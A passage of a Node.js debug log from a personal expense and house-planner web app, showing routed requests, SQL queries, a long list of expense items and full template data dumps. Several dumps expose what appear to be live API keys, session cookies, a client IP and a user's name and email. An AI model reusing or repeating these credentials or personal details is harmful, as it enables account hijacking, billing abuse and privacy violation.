    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:08:03.177Z server-connect:router Serving templateView /house-planner
2026-03-05T11:08:03.178Z server-connect:app Executing action step identify
2026-03-05T11:08:03.178Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:03.178Z server-connect:output identity: 1
2026-03-05T11:08:03.178Z server-connect:app Executing action step restrict
2026-03-05T11:08:03.178Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:03.179Z server-connect:output restrict: undefined
2026-03-05T11:08:03.179Z server-connect:router Render template layouts/main
2026-03-05T11:08:03.179Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/house-planner'
}
2026-03-05T11:08:03.805Z server-connect:router Serving templateView /
2026-03-05T11:08:03.806Z server-connect:app Executing action step identify
2026-03-05T11:08:03.806Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:03.806Z server-connect:output identity: 1
2026-03-05T11:08:03.806Z server-connect:app Executing action step restrict
2026-03-05T11:08:03.806Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:03.807Z server-connect:output restrict: undefined
2026-03-05T11:08:03.807Z server-connect:app Executing action step restrict
2026-03-05T11:08:03.807Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:03.807Z server-connect:output restrict: undefined
2026-03-05T11:08:03.807Z server-connect:router Render template layouts/main
2026-03-05T11:08:03.807Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:08:03.904Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-05T11:08:03.905Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-05T11:08:03.906Z server-connect:app Executing action step identify
2026-03-05T11:08:03.906Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:03.906Z server-connect:output identity: 1
2026-03-05T11:08:03.906Z server-connect:app Executing action step restrict
2026-03-05T11:08:03.906Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:03.906Z server-connect:app Executing action step identify
2026-03-05T11:08:03.907Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:03.907Z server-connect:output identity: 1
2026-03-05T11:08:03.907Z server-connect:app Executing action step restrict
2026-03-05T11:08:03.907Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:03.907Z server-connect:output restrict: undefined
2026-03-05T11:08:03.907Z server-connect:app Executing action step select
2026-03-05T11:08:03.907Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-05T11:08:03.908Z server-connect:output restrict: undefined
2026-03-05T11:08:03.908Z server-connect:app Executing action step single
2026-03-05T11:08:03.908Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-05T11:08:03.909Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-05T11:08:03.913Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-05T11:08:08.283Z server-connect:router Serving templateView /house-planner
2026-03-05T11:08:08.283Z server-connect:app Executing action step identify
2026-03-05T11:08:08.283Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:08.283Z server-connect:output identity: 1
2026-03-05T11:08:08.283Z server-connect:app Executing action step restrict
2026-03-05T11:08:08.283Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:08.284Z server-connect:output restrict: undefined
2026-03-05T11:08:08.284Z server-connect:router Render template house-planner
2026-03-05T11:08:08.284Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
